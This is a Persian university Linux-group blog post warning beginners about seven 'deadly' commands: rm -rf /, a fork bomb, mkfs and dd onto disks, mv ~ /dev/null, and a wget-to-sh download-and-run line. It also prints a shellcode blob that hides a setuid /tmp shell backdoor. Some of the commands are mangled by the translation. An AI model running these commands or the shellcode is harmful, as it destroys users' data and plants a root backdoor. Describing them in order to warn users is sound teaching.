گروه کاربران لینوکس دانشگاه شهید مدنی آذربایجان

لاگ دانشگاه آذربایجان :: Azarbaijan University Linux User Group

گروه کاربران لینوکس دانشگاه شهید مدنی آذربایجان

لاگ دانشگاه آذربایجان :: Azarbaijan University Linux User Group

8 دستور خطرناک در لینوکس!!!

8 Deadly Commands You Should Never Run on Linux

8 دستور مرگبار که هرگز نباید در لینوکس اجرا کنید!!!!!

دستورات ترمینال لینوکس قدرتمند هستند و لینوکس اگر شما یک فرمان را اجرا کنید که سیستم شما را خراب می کند، از شما درخواست تایید نمی خواهد.

یاد گرفتن دستوراتی که نباید روی لینوکس اجراشود می تواند شما را از ترول ها محافظت کند دراین میان شما درحال یادگیری لینوکس هستید 
این یک راهنمای جامع نیست و دستورات در اینجا می تواند به روش های مختلفی مورد استفاده قرار گیرد.
توجه داشته باشید که بسیاری از این دستورات وقتی خطرناک هستند آنها را با sudo در اوبونتو (بعنوان پیشوند) بکار ببرید  - در غیر این صورت کار نخواهند کرد. در سایر توزیعهای لینوکس، اکثر دستورات باید به عنوان ریشه اجرا شوند
الف)
rm –rf / - همه چیز را پاک می کند!
دستور rm -rf / حذف همه چیز که می تواند موارد زیر باشد، از جمله فایل ها بر روی هارد دیسک شما و فایل ها در دستگاه های رسانه متصل که  قابلیت  جابجایی دارد. این فرمان قابل فهم تر است اگر شکسته شود:
rm - فایل های زیر را حذف کنید.
-rf - اجرای rm به صورت بازگشتی (همه فایل ها و پوشه ها را درون پوشه مشخص شده حذف کنید) و تمام فایل ها را بدون نیاز به اجازه گرفتن از شما پاک میکند
 / - می گوید rm در دایرکتوری ریشه شروع می شود
 که حاوی تمام فایل ها بر روی کامپیوتر شما و تمام دستگاه های رسانه ای نصب شده است شامل اشتراک فایل در مسیر های طولانی و درایوهای قابل جابجایی
لینوکس با خوشحالی از این دستور اطاعت می کند و همه چیز را بدون نیاز به شما حذف می کند، بنابراین هنگام استفاده از آن مراقب باشید! فرمان rm نیز می تواند در سایر روش های خطرناک مورد استفاده قرار گیرد - rm -rf ~ همه فایل ها را در پوشه خانه شما حذف می کند، درحالی که rm -rf. * تمام فایل های پیکربندی شما را حذف می کند
rm –rf /
یک کدی در زیر مشاهده مکنید که فایل هگز rm –rf / است اگر شما دستور rm –rf / را اجرا کنید تمام فایل های شما را پاک میکند
 
    char esp[] __attribute__ ((section(“.text”))) /* e.s.p
    release */
    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68
    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99
    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7
    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56
    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31
    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69
    “\x6e\x2f\x73\x68\x00\x2d\x63\x00
    cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;
درس:دستورات عجیب غریبی که فراموش شده اند را هرگز اجرا نکنید هرگززززز!!!!!
ب)
: () {: |: &} ؛: - بمب دیسک
 
خط زیر یک تابع ساده ساده، اما خطرناک است:
 
    : () {: |: &} ؛:
 
این خط کوتاه یک تابع پوسته را ایجاد می کند که نسخه های جدید خود را ایجاد می کند. این فرایند به طور پیوسته خود را تکرار می کند، و نسخه های آن به طور مداوم خود را تکرار می کنند، به سرعت در حال گرفتن تمام وقت CPU و حافظه خود را. این باعث می شود که رایانه شما مسدود شود. این اساسا یک حمله انکار سرویس است.
 
درس: توابع Bash قدرتمند هستند، حتی بسیار کوتاه  باشند
ج)
mkfs.ext4 / dev / sda1 - فرمت های هارددیسک
 
دستور mkfs.ext4 / dev / sda1 قابل درک  است:
 
    mkfs.ext4 - یک فایل سیستم ext4 جدید در دستگاه زیر ایجاد کنید.
 
    / dev / sda1 - اولین پارتیشن در هارد دیسک اول است که احتمالا در حال استفاده است.
 
با هم، این دستور می تواند معادل فرمت در حال اجرا c: در ویندوز باشد- آن فایل ها را در قسمت اول خود پاک کرده و آنها را با یک سیستم فایل جدید جایگزین می کند.
 
این فرمان می تواند به شکل های دیگر نیز باشد - mkfs.ext3 / dev / sdb2 پارتیشن دوم را در هارد دیسک دوم با سیستم فایل ext3 فرمت می کند.
 
درس: مراقب باشید دستورات در حال اجرا به طور مستقیم بر روی دستگاه های هارد دیسک که با / dev / sd آغاز می شود.
د)
command> / dev / sda - مستقیما بر روی هارد دیسک نوشته می شود
 
خط فرمان> / dev / sda به طور مشابه کار می کند - یک فرمان اجرا می کند و خروجی آن دستور را به طور مستقیم به اولین هارد دیسک شما می فرستد، داده ها را مستقیما به هارد دیسک می نویسد وبه سیستم فایل شما را آسیب می زند.
 
    command - اجرای فرمان (می تواند هر فرمان باشد.)
 
    > - خروجی فرمان را به محل زیر ارسال کنید.
 
    / dev / sda - خروجی فرمان را مستقیما به دستگاه هارد دیسک بنویسید.
 
درس: همانطور که در بالا ذکر شد، دستورات در حال اجرا را که شامل دستگاه های هارد دیسک با / dev / sd می شود، مراقب باشید
 
ه)
dd if = / dev / random of = / dev / sda - نوشتن هدر روی یک هارد دیسک
 
dd if = / dev / random of = / dev / sda خط
همچنین اطلاعات مربوط به یکی از درایوهای سخت شما را از بین می برد.
 
    dd - کپی کردن در سطح پایین از یک مکان به مکان دیگر انجام دهید.
 
    if = / dev / random - استفاده از / dev / random (داده های تصادفی)
به عنوان ورودی -
 شما ممکن است مکان هایی مانند / dev / zero (neros) را ببینید.
 
    -of = / dev / sda -
 خروجی به اولین هارد دیسک
 جایگزین سیستم فایل آن با داده های تصادفی زباله است.
 
درس: dd کپی داده ها از یک مکان به مکان دیگر، که می تواند خطرناک باشد اگر شما مستقیما به یک دستگاه کپی کنید
ر)
mv ~ / dev / null - فهرست دایرکتوری شما را به سیاه چاله منتقل می کند
 
/ dev / null یک مکان خاص دیگر است - انتقال چیزی به / dev / null همان چیزی است که آن را از بین می برد.
 از / dev / null به عنوان یک سیاهچاله فکر کنید. اساسا mv ~ / dev / null همه فایل های شخصی شما را به سیاه چاله می فرستد.
 
    mv - انتقال فایل یا دایرکتوری زیر به مکان دیگر.
 
    ~ - پوشه کل خانه شما را نشان می دهد
 
    / dev / null - پوشه خانه خود را به / dev / null منتقل کنید، تمام فایل های خود را از بین ببرید و کپی های اصلی را حذف کنید.
 
درس: شخصیت ~ نشان دهنده پوشه خانه شماست و چیزهای متحرک به / dev / null آنها را از بین می برد.
ط)
wget http://example.com/something -O - | sh - دانلود و اجرای یک اسکریپت
 
خط بالا یک اسکریپت را از وب دریافت می کند و آن را به sh میفرستد که محتویات اسکریپت را اجرا می کند. این امر می تواند خطرناک باشد اگر مطمئن نیستید که اسکریپت چیست یا اگر به منبع آن اعتماد نکنید اسکریپت های غیر قابل اعتماد را اجرا نکنید.
 
    wget - بارگیری یک فایل (شما همچنین می توانید در عوض wget ببینید)
 
    http://example.com/something - فایل را از این محل دانلود کنید.
 
    | - لوله (ارسال) خروجی فرمان wget به طور مستقیم به فرمان دیگر.
 
    sh - ارسال فایل به دستور sh، که آن را اجرا می کند اگر یک اسکریپ bash باشد.
 
درس: اسکریپت های غیر قابل اعتماد از وب را دانلود و اجرا نکنید، حتی با یک فرمان.
 
دستورالعمل های خطرناک دیگری که کاربران جدید (و تجربه شده) لینوکس باید اجرا کنند را می دانید؟ نظر بدهید و به اشتراک بگذارید!
 
 
 
 
 
 
 
مراجع: https://www.howtogeek.com/125157/8-deadly-commands-you-should-never-run-on-linux/
 
 
نویسنده :الناز رادمند 951830234
 
 
 
 
 
 

 

 

نظرات 0 + ارسال نظر
برای نمایش آواتار خود در این وبلاگ در سایت Gravatar.com ثبت نام کنید. (راهنما)
ایمیل شما بعد از ثبت نمایش داده نخواهد شد